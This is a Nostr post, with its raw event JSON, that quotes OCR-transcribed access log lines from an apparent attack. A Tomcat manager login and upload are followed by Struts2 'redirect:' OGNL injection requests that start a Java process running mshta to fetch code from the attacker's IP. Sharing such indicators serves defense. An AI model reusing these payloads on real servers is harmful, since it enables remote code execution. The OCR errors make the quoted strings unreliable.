192.251.68.224 - tomcatadmin [18/Jul/2024:08:39:26 -0700] "GET /manager/html ...

npub1yx6…7kza

2024-07-22 21:11:21

in reply to nevent1q…xv9r

192.251.68.224 - tomcatadmin [18/Jul/2024:08:39:26 -0700] "GET
/manager/html HTTP/1.1" 200 12400
192.251.68.224 - tomcatadmin [18/Jul/2024:08:39:26 -0700] "POST
/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=5B3DE3BFCF
72CE438A7157DAF1C06813 HTP/1.1" 200 14192
192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] "GET /struts2-blank/
HTTP/1.1" 200 202
|192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] "GET /struts2-
blank/example/HelloWorld.action HTTP/1.1" 200 532
(192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] "GET /struts2-
blank/examo le/Helloworld.action?redirect:;24(new20java.io.File(".").g
etCanonicalPath().concat ('NwYGJa')> HTTP/1.1" 302
-192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] "GET /struts2-
blank/example/HelloWorld.action?redirect:%24/(nev+java.lang.ProcessBui
lder(new+java. lang.String[]/'mshta',news20java.lang.String('http:nn192
,251.68.224').replace('n','Iu002f')>)).start()> HTTP/1.1" 302
"192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] "GET /struts2-
blank/example/HelloWorld.action?redirect:%24/(newfs20java.lang.ProcessB
uilder(news20java. lang.String('$tmp$LWzHKDAlYy').replace("$','Iu002f')
).start()) HTTP/1.1" 302

Author Public Key

npub1yx6pjypd4r7qh2gysjhvjd9l2km6hnm4amdnjyjw3467fy05rf0qfp7kza

Show more details

Published at

2024-07-22 21:11:21

Kind type

1 Short Text Note

Event JSON

{ "id": "f86b5d0eca324996fd7d36b68d05d3aba9a7f1d68413eeefa4ba47510de95958", "pubkey": "21b419102da8fc0ba90484aec934bf55b7abcf75eedb39124e8d75e491f41a5e", "created_at": 1721682681, "kind": 1, "tags": [ [ "e", "8358d4c6f7565cbe8effeef90ec2b7ac65262b25504607f496e520bdbe7f7ff5", "", "root" ], [ "p", "21b419102da8fc0ba90484aec934bf55b7abcf75eedb39124e8d75e491f41a5e" ], [ "r", "192.251.68.224" ], [ "r", "192.251.68.224" ], [ "r", "org.apache.catalina.filters.CSRF" ], [ "r", "192.251.68.224" ], [ "r", "HelloWorld.action" ], [ "r", "Helloworld.action?redirect:;24(new20java.io.File(\".\").g" ], [ "r", "-192.251.68.224" ], [ "r", "HelloWorld.action?redirect:%24/(nev+java.lang.ProcessBui" ], [ "r", "mshta',news20java.lang.String" ], [ "r", "HelloWorld.action?redirect:%24/(newfs20java.lang.ProcessB" ], [ "r", "lang.String" ] ], "content": "192.251.68.224 - tomcatadmin [18/Jul/2024:08:39:26 -0700] \"GET\n/manager/html HTTP/1.1\" 200 12400\n192.251.68.224 - tomcatadmin [18/Jul/2024:08:39:26 -0700] \"POST\n/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=5B3DE3BFCF\n72CE438A7157DAF1C06813 HTP/1.1\" 200 14192\n192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] \"GET /struts2-blank/\nHTTP/1.1\" 200 202\n|192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] \"GET /struts2-\nblank/example/HelloWorld.action HTTP/1.1\" 200 532\n(192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] \"GET /struts2-\nblank/examo le/Helloworld.action?redirect:;24(new20java.io.File(\".\").g\netCanonicalPath().concat ('NwYGJa')\u003e HTTP/1.1\" 302\n-192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] \"GET /struts2-\nblank/example/HelloWorld.action?redirect:%24/(nev+java.lang.ProcessBui\nlder(new+java. lang.String[]/'mshta',news20java.lang.String('http:nn192\n,251.68.224').replace('n','Iu002f')\u003e)).start()\u003e HTTP/1.1\" 302\n\"192.251.68.224 - - [18/Jul/2024:08:39:26 -0700] \"GET /struts2-\nblank/example/HelloWorld.action?redirect:%24/(newfs20java.lang.ProcessB\nuilder(news20java. lang.String('$tmp$LWzHKDAlYy').replace(\"$','Iu002f')\n).start()) HTTP/1.1\" 302", "sig": "33e74d63cc2ce7ea92b1d7e76a69a6940ce1459fd47972ceef3e437238fe52f0343951547286d19916b298a0bb75900e233ce456c367aed90862020827d7c62d" }